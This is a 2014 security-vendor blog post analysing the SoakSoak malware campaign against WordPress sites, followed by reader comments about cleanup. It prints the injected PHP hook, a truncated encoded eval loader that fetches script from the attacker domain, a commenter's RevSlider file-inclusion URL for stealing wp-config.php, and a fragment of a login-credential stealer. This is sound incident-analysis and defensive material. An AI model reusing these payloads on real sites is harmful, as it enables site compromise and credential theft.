SoakSoak Malware Compromises 100,000+ WordPress Websites

  • December 14, 2014

This Sunday has started with a bang. Google has blacklisted over 11,000 domains with this latest malware campaign from SoakSoak.ru:

Google Blacklisting - SoakSoak.ru
Google Blacklisting – SoakSoak.ru

Our analysis is showing impacts in the order of 100’s of thousands of WordPress specific websites. We cannot confirm the exact vector, but preliminary analysis is showing correlation with the Revslider vulnerability we reported a few months back.

Sucuri - SoakSoak RU Blacklisted

The impact seems to be affecting most hosts across the WordPress hosting spectrum. Quick breakdown of the decoding process is available via our PHP Decoder.

SoakSoak Malware Anatomy

It is modifying the file wp-includes/template-loader.php and including this content:

<?php
function FuncQueueObject()
{
  wp_enqueue_script("swfobject");
}
add_action("wp_enqueue_scripts", 'FuncQueueObject');

This causes the wp-includes/js/swfobject.js to be loaded on every page you view on the site which includes the malware here:

eval(decodeURIComponent 
("%28%0D%0A%66%75%6E%63%74%69%6F%6E%28%29%0D%0A%7B%0D%..72%69%70%74%2E%69%64%3D%27%78%78%79%79%7A%7A%5F%70%65%74%75%73%68%6F%6B%27%3B%0D%0A%09%68%65%61%64%2E%61%70%70%65%6E%64%43%68%69%6C%64%28%73%63%72%69%70%74%29%3B%0D%0A%7D%28%29%0D%0A%29%3B"));

This malware when decoded loads a javascript malware from the SoakSoack.ru domain, specifically this file: hxxp://soaksoak.ru/xteas/code

If you believe you are infected you can use our Free SiteCheck scanner, signatures have all been updated to detect the latest redirection:

Sucuri - SoakSoak - SiteCheck
Sucuri – SoakSoak – SiteCheck

All clients behind our Website Firewall are currently protected from this malware campaign.

We have posted two follow-ups since this post was first released:

SoakSoak: Payload Analysis – Evolution of Compromised Sites – IE 11 by Denis Sinegubko

RevSlider Vulnerability Leads To Massive WordPress SoakSoak Compromise by Daniel Cid

Tony is the Head of Security Products at GoDaddy and Sucuri Co-Founder. His passion lies in educating and bringing awareness about online threats to business owners. His passions revolve around understanding the psychology of bad actors, the impacts and havoc hacks have on website owners, and thinking through the evolution of attacks. You can find his personal thoughts on security at perezbox.com and you can follow him on Twitter at @perezbox.

Related Tags
92 comments

  1. They got me! Fortunately it’s how I found your service. Thanks for the help, guys. Extremely fast response time and even better communication / explanation about what happened. You guys are the real deal.

  2. Excellent work guys! Thanks to this article we were able to scan all of our sites and found one that was indeed compromised. It has now been cleaned up and Google even lifted the blacklist within a few minutes as well (are they checking blacklisted sites frequently or did we just time it very well by accident?).

    1. They were flagging the RU site which was indirectly blacklisting sites that were loading the domain. That’s what was / is happening, once you remove the payload though you’re set which in turns removes the blacklist.

      Tony

  3. Do we know what was hosted at soaksoak/xteas/code? I’m interested in seeing what that file was doing.

      1. You can go to the infected files and remove those blocks of code.

        The first block is at the top of the mentioned file. The second block is at the bottom of the other file.

        Alternatively, you could just replace those files with uninfected copies.

  7. I’ve cleaned up the mentioned files and any other cached files from today. However of I submitted for review Google is still showing that there is undetermined malware links on my site. Not sure if it’s just not up to date or what?

    Undetermined malware

    These pages directed users to a site that serves malware or unwanted software. Unfortunately, the malicious code within the page could not be isolated.

    1. It Would take some time for google to remove Warning as they thoroughly scan your site through bots and review your site.

      1. Thanks @Praveen, the warning was removed this morning. I have to remember to clear the cache next time (hopefully there’s not a next time).

  8. I have a bunch of sites… with one of the wordpress sites… I removed all of the WP files and put in a custom coded simple coming soon html page and it’s still coming up with that red screen. The only file is an unhacked index.html file and it is STILL doing the red screen “thing.” Also, on the same Shared Hostgator account, a couple of joomla sites were also hit… and on most of the WP Sites, I was able to remove those 2 files swfojbects.js and template-loader.php and it worked… but other sites I did that with and still have that red screen… I know you guys offer your service but with 30+ sites… it would be a small fortune. Any guidance would be helpful.

    1. Hi Mike. It takes a few hours for Google to process a “healed” domain. Have you reported it as fixed in Google Webmaster Tools?

      1. Also, if you run your site at Sucuri’s sitecheck http://sitecheck.sucuri.net/

        … and select the “Blacklist status” tab, you can see which individual services are also reporting the site as compromised; it would help to go to each of these sites and, if applicable, report the site as fixed.

      2. Not yet… I have a bunch on a shared server that got hit… spent all night fixing them… will wait a day or 2 to make sure it doesn’t come back and then will go to GMT and request a review.

        1. I do recommend you to create a new WordPress installation to make sure other files are not infected, you should get the Google approval with your clean permanent copy instead of the html file because if when you copy again still infected with you will get a red flag again.

          1. on that one site I put in a HTML file… the WP install on it was just experimenting… I plan on redoing it all on a fresh WP install. I made no copy of that particular site. What I don’t get is how my Joomla sites are now showing that unsafe malware warning… perhaps they got hit too?

          2. i wonder the same, that totally discard the Slider revolution as the main source of the attack, just in case the got your hosting password change it, that would be a way they could get your joomla too.

          3. I think it could get in using the REV Slider… and if you’re on a shared hosting… it just starts injecting itself right down your folder (domain) list… I have several hosting servers… and the server that has each site in it’s own cpanel didn’t get hit… the one shared hosting accounts – all the domains got hit. I haven’t seen any fixes yet come out for Joomla for this… have you?

          4. The hack with the revolution slider is in the database, Using a Local File Intrusion (LFI) attack, hackers are able to download the wp-config.php file (http://victim.com/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php) and use it to steal the database credentials. This then allowed hackers to attack a WordPress site via the database, i think at least in my websites this was the way they got it, maybe the found a way to get to your joomla database once they got access.

  9. Does Google Automatically re-review the site or will I have to go in manually and tell them… some of these sites don’t have a google webmaster tools account… or I don’t have access to it at the moment.

    2. Generally they review automatically but if it is recommended to manually submit review request from Google webmaster tools so that your website can be removed quickly.

  10. that revslider plugin is a disaster , by 30 october every wordpress using that website was exploited WSO Javascript malwares you name it

  11. that revslider plugin is a disaster , by 30 october every wordpress
    using revslider was exploited WSO Javascript malwares you name it

  12. Great article guys. One of my sites was compromised yesterday. I searched through to find the reason behind, and the only possible root cause i found was a security update that i had not yet completed for W3cache. Nevertheless i fixed it by reinstalling wordpress and clearing the cache. Hope that its not something else entirely and my sites are safe. Nevertheless great work guys.

  13. It didn’t just come from Revslider… I have sites that were hit who didn’t have Revslider.. although, they are on the same shared hosting so it couldn have been cross-contaminated. What I don’t get is that some of my Joomla sites on that hosting also get the Google Malware warning and I don’t think they got hit and/or this attack targeted joomla?

  14. Also.. I realize Sucuri firewall is a good solution to prevent future attacks… any other solutions as well?

  15. Hy, I think my blog was infected some days ago (5.12.2014). It was completely new set up and I just installed 3 plugins. One of them was “W3 Total Cache” – which I disabled a short time later.

    I didn’t saw any suspicious behavior by myself, but in the Bing-Cache! Some generic maleware/porn was added to my site.

    I don’t think that this was caused by a problem in Bing. After disabling the suspected plugin, I couldn’t find any hint for a compromisation.
    In the meantime the plugin got updated.

  17. Hi,

    As the developer of the Slider Revolution Responsive WordPress Plugin (referred to as “RevSlider” in this article), we would like to clarify a few things to offer some additional transparency on what has happened in the last year.

    In february 2014, a critical vulnerabilty was discovered in our Slider Revolution WordPress Plugin which we immediately fixed in Version 4.2.

    In fact, only versions 4.1.4 or below, allow for the vulnerability and have to be updated.

    Direct buyers of our plugin were hardly affected by the exploit, as they could use our automatic update tool to keep their plugin up to date and secure.

    The nature of plugins bundled in themes however caused a lot of older plugin versions to linger around on the web and providing a window for malicious attacks.

    Envato, the marketplace, that we are selling our products on, has released an in-depth article on the issue with nessecary steps to take for plugin users: http://marketblog.envato.com/news/plugin-vulnerability/

    Also note, that on our product page of Slider Revolution, a “free-update” button with a direct download to the latest version has been available to buyers of themes that contain our plugin, ever since september 2014.

    The title of this post suggests that there is another exploit in the Slider Revolution plugin.

    However, it’s the SAME security vulnerability that is being talked about here has already been covered thoroughly in the media.

    We can only apologize for the security issue once more. It’s in our best interest to increase web security standards and make the life of web developers easier in the future!

    ThemePunch

  18. The elephant in the room is ‘Why did none of the security plugins prevent this?’

    Just replacing the files does what? it fixes the ‘symptom’ but DOES NOT stop re-infection.

    We need to find the ‘prevention’ to prevent reinfection – Is is an .htaccess line? Is it a ‘change permissions’?

    FYI – No revslider, 5 sites hit, files replaced via WordFence, one site hit again and other sites on same host show ‘today’ as last modified date on the 2 files in question, yet these sites not compromised.

    1. You got it. Most security plugins are not made for prevention. I have a post for you on the Security Plugin Ecosystem which is particularly enlightening: https://blog.sucuri.net/2014/09/understanding-the-wordpress-security-plugin-ecosystem.html

      We offer our Website Firewall as a monthly service, which will prevent attacks like this from affecting your site. The .htaccess rules you mention are helpful too; we include website hardening with our AntiVirus cleanups.

  21. All my websites (on the same server) were infected by this. I’ve found and deleted all the infected files, re-uploaded originals, but still after a few minutes the files are infected again… How is that?

  22. Try d/l latest WPress. Replace wp-admin and wp-includes folders with the new ones. Edit the wp-config with new ‘salts’. Restore from backup. Kill any cache plugin (Delete on server and reinstall later). Check your theme does not include mail poet or rev slider. If you have multiple sites on one server – Do a search for “rev” to find any sliders on other sites inside themes – Delete. That’s a start but NOT a guarantee.

    PS Empty your browser cache – sometimes errors are served again as ‘new’ results.

  23. Hi,

    As the developer of the Slider Revolution Responsive WordPress Plugin (referred to as “RevSlider” in this article), we would like to clarify a few things to offer some additional transparency on what has happened in the last year.

    In february 2014, a critical vulnerabilty was discovered in our Slider Revolution WordPress Plugin which we immediately fixed in Version 4.2.

    In fact, only versions 4.1.4 or below, allow for the vulnerability and have to be updated.

    Direct buyers of our plugin were hardly affected by the exploit, as they could use our automatic update tool to keep their plugin up to date and secure.

    The nature of plugins bundled in themes however caused a lot of older plugin versions to linger around on the web and providing a window for malicious attacks.

    Envato, the marketplace, that we are selling our products on, has released an in-depth article on the issue with nessecary steps to take for plugin users:http://marketblog.envato.com/n…

    Also note, that on our product page of Slider Revolution, a “free-update” button with a direct download to the latest version has been available to buyers of themes that contain our plugin, ever since september 2014.

    The title of this post suggests that there is another exploit in the Slider Revolution plugin.

    However, it’s the SAME security vulnerability that is being talked about here has already been covered thoroughly in the media.

    We can only apologize for the security issue once more. It’s in our best interest to increase web security standards and make the life of web developers easier in the future!

    ThemePunch

  25. How long is the free scan checking tool supposed to take. It has been running for about 30 minutes on a tiny 3 or 4 page website. Should I start again?

    2. We have a very high volume of people using it at the moment due to this outbreak. You can contact our chat team and we can try some of our back-end routes. If you are a customer already, you can submit a Malware Removal Request and we can completely verify using the Server Side Scanner.

  31. Thank you for clearing that up ThemePunch, The article does indeed suggest a new or at least persistent issue. Maybe this should be better formulated by Tony Perez in the main article to prevent further confusion. Would at the same time like to thank Tony for keeping us on out toes and awake when it comes to security. And to John : ThemePunch might be referring to this blog post on Envato

    http://marketblog.envato.com/news/plugin-vulnerability/

    1. the article doesn’t suggest a new issue, it clearly says “showing correlation with the Revslider vulnerability we reported a few months back.” including a link to the previous report.

  32. I just cannot believe the developers of the plugin decided not to share the security vulnerability to the public after the vulnerability was discovered in Feb.

    1. My understanding is that if you purchased the plugin directly from them, you are notified of, and able to easily implement, updates to the plugin. The issue seems to be that the plugin is packaged with a large number of themes, most of which do not include a similar notification/update system.

      1. This is a huge problem. Developer allows rights to bundle, grabs the cash and dodges the responsibility. ALL plugins, by default, have direct access to notify users via the dashboard. Laziness, pure and simple.

        Just don’t get me started on the complete lack of standards that allows this nonsense to happen. Linux is open source but it isn’t full of holes. High time WP overhauled itself to support standard plugin implementation and UI, UX. Security and ecommerce done properly too..

  34. Thanks for chipping in ThemePunch, I was misled (I feel) as well. I thought this was twice from RevSlider. It is really good to see the team take proactive communication on blags, etc. to address the issue.

  36. I use Avada and very few plugins and keep everything always up to date. Got hit with soak last night. The soakso ak.ru url was showing up in cache files. It was only updating files in my /wp-content/cache directory. It did NOT alter wp-includes/template-loader.php.

    I cleared all cache files using the plugin and got hit again. I then disabled W3 Total Cache and deleted the Cache folder altogether and then installed BPS in addition to Wordfence. For now it seems that has fixed the issue. I have a strong suspicion that W3TC will end up as the culprit on this one (not a post 4.2 version of revslider).

  37. So this was only possible because people are browsing the net using the same computer that hosts their webpage? Is that common with WordPress users?

  38. Shouldn’t the web hosts do something about protecting the sites alittle more? It seems web hosts are very quick to blame plugins. However shouldn’t the hosts have anti virus to help website owners?

    1. I’ve just been told I need to pay $60 per year per site to protect them, otherwise it keeps coming back.

    2. Web hosts should focus on the stack-level security issues and providing fast, reliable hosting. That’s their specialty. If they start allocating resources to trying to detect every new piece of code-based malware, their quality of hosting would suffer.

      This is where companies like Sucuri come along. They have their own specialty and they’re good at it.

  39. Just a heads up…I dont have RevSlider on my site but on another site on the same server. This may be its intial infection point, but on the site without the RevSlider plugin, I was able to find the code in the wp-includes/js/json2.min.js file. It seems to hide at the bottom of the file, at least in my case.

  40. Few of my websites are infected. However, I have changed all the files with complete new installation of latest wordpress files but I am still concerned if it has infected the database as well. Has it infected database? I am not a coder…how can I clean up the database (if possible any free & easy option)…

      1. Thank you Lucas for letting me know.

        But someone at above posted this —> The hack with the revolution slider is in the database, Using a Local
        File Intrusion (LFI) attack, hackers are able to download the
        wp-config.php file
        and use it to steal the database credentials. This then allowed hackers
        to attack a WordPress site via the database, i think at least in my
        websites this was the way they got it, maybe the found a way to get to
        your joomla database once they got access.<—

        I am really concerned if there is an attack on database. I understand that I may have to change the database password as per the above comment. Is there a way I can check my database for malware or any infected things/code.

    1. Yes, the vulnerability was existing till version 4.1.4 Since version 4.2 (Release February 2014) the Vulnerability is fixed already. Unfortunatley many customers and users did not updated within the last 11 months, and they have been hacked during that period. Even if they update now, they may still have some Backdoor code existing on their server. Please follow the instructions of Sucuri in case you updated from 4.1.4 or older version !

  43. this may be of use to those with ssh access to their server, the following searches for ‘swfobject’ within any files named template-loader.php within the current folder and subfolders:
    $ find . -name “template-loader.php” -exec grep -li “swfobject” {} ;

  44. this may be of useful to those with ssh access to their server, the following searches for ‘swfobject’ within any files named template-loader.php within the current folder and subfolders:
    $ find . -name “template-loader.php” -exec grep -li “swfobject” {} ;

  45. Anyone got any tips for getting it off a server? I have tried everything already mentioned, but it is infecting new WordPress installs on new domains immediately. My host said paying them $2000 would probably help. But I can’t afford that. I am currently downloading every file via sftp but that will take 4 days. Then will use text finding software to hunt for above code.
    Would be appreciative of any other ideas.

      1. there are 33 websites on the server. That is why current host wanted 2k ish at $60 per website.
        So there is no way I can afford $3300 for your option.

          1. Thanks but I just need someone to remove the harmful code. I am not interested in $1500 every year. I’ll stop posting here, sorry to waste your time. I will try doing it myself somehow.

          2. Having been through it – You are welcome to contact me for help. grumblenz at gmail. Relatively simple to clean the sites. I would, however, replace Revslider with another slider (A more time consuming and separate job). Regards

Comments are closed.

Related Categories
You May Also Like
Labs Note

Simple WP login stealer

We recently found the following malicious code injected into wp-login.php on multiple compromised websites. \ } // End of login_header() $username_password=$_POST[‘log’].”—-xxxxx—-“.$_POST[‘pwd’].”ip:”.$_SERVER[‘REMOTE_ADDR’].$time = time().”\r\n”; $hellowp=fopen(‘./wp-content/uploads/2018/07/[redacted].jpg’,’a+’); $write=fwrite($hellowp,$username_password,$time);…
Read the Post